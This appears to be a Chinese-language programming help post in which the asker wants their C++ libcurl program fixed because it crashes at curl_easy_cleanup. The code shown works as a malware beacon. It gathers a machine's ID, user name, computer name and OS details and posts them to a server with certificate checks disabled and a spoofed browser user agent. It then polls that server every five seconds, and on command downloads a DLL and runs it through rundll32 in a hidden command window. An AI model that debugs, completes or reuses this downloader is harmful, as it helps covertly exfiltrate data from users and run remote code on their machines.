C++ 程序每次在 curl_easy_cleanup(curl) 上崩溃；

Question

您好，我正在使用 libcurl 和 VS 2022 在服务器上上传数据。

curl = curl_easy_init();
    if (curl)
    {

        curl_formadd(&post, &last, CURLFORM_COPYNAME, "id",
            CURLFORM_COPYCONTENTS, uuid_output, CURLFORM_END);

        curl_formadd(&post, &last, CURLFORM_COPYNAME, "username",
            CURLFORM_COPYCONTENTS, user_output, CURLFORM_END);

        curl_formadd(&post, &last, CURLFORM_COPYNAME, "compname",
            CURLFORM_COPYCONTENTS, comp_output, CURLFORM_END);

        curl_formadd(&post, &last, CURLFORM_COPYNAME, "lastupdate",
            CURLFORM_COPYCONTENTS, os_output, CURLFORM_END);

        if (is_x64)
        {
            curl_formadd(&post, &last, CURLFORM_COPYNAME, "arch",
                CURLFORM_COPYCONTENTS, "1", CURLFORM_END);
        }
        else
        {
            curl_formadd(&post, &last, CURLFORM_COPYNAME, "arch",
                CURLFORM_COPYCONTENTS, "0", CURLFORM_END);
        }

        curl_formadd(&post, &last, CURLFORM_COPYNAME, "documents",
            CURLFORM_COPYCONTENTS, vid_output, CURLFORM_END);

        curl_formadd(&post, &last, CURLFORM_COPYNAME, "images",
            CURLFORM_COPYCONTENTS, av_output, CURLFORM_END);

        curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/210.0");

        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);

        curl_easy_setopt(curl, CURLOPT_URL, SERVICE_URL);

        curl_easy_setopt(curl, CURLOPT_POST, 1L);
        curl_easy_setopt(curl, CURLOPT_HTTPPOST, post);
        //curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
        //curl_easy_setopt(curl, CURLOPT_HEADER, 1L);

        res = curl_easy_perform(curl);
        if (res != CURLE_OK)
        {
            //MessageBoxA(NULL, curl_easy_strerror(res), NULL, MB_OK);
            fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
        }

        curl_easy_cleanup(curl);

        curl_formfree(post);
    }

while (true)
        {
            res = curl_easy_perform(curl);
            if (res != CURLE_OK)
            {
                fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
                return -1;
            }
            else
            {

                // Now check the response
                if (lstrcmpA(curl_resp, "1") == 0)
                {
                    // Deploy updates
                    PWCHAR szLocalAppData;
                    WCHAR szPayloadPath[2048], * szExecution;

                    SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &szLocalAppData);

                    ZeroMemory(szPayloadPath, sizeof(szPayloadPath));
                    lstrcpy(szPayloadPath, szLocalAppData);
                    lstrcat(szPayloadPath, L"\\BGM107.dll");

                    DWORD dll_len;
                    LPSTR dll_data = DownloadURLToBuffer(DLL_URL, &dll_len);

                    HANDLE hFile;
                    DWORD junk;
                    hFile = CreateFile(szPayloadPath, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
                    WriteFile(hFile, dll_data, dll_len, &junk, NULL);
                    CloseHandle(hFile);

                    // Execute
                    ZeroMemory(execution_string, sizeof(execution_string));
                    wsprintf(execution_string, L"/k rundll32 %s,runinstaller", szPayloadPath);

                    ShellExecute(NULL, L"open", L"cmd.exe", execution_string, NULL, SW_HIDE);


                    GlobalFree(dll_data);

                    is_deploy = TRUE;
                }
            }

            GlobalFree(curl_resp);

            if (is_deploy) return 1;

            Sleep(5000);
        }

    }

    curl_easy_cleanup(curl);
    curl_formfree(post);

    GlobalFree(id_output);

    CoUninitialize();

    return 0;
}

以上是我的代码片段。它总是在 curl_easy_cleanup(curl) 上崩溃；建立 1 次连接，然后可执行文件崩溃。我做错了什么。它似乎主要在第二个代码片段中崩溃。因为 while 循环。任何建议，将不胜感激。谢谢

试过 curl_global_init 和 curl_global_cleanup。但它仍然在崩溃。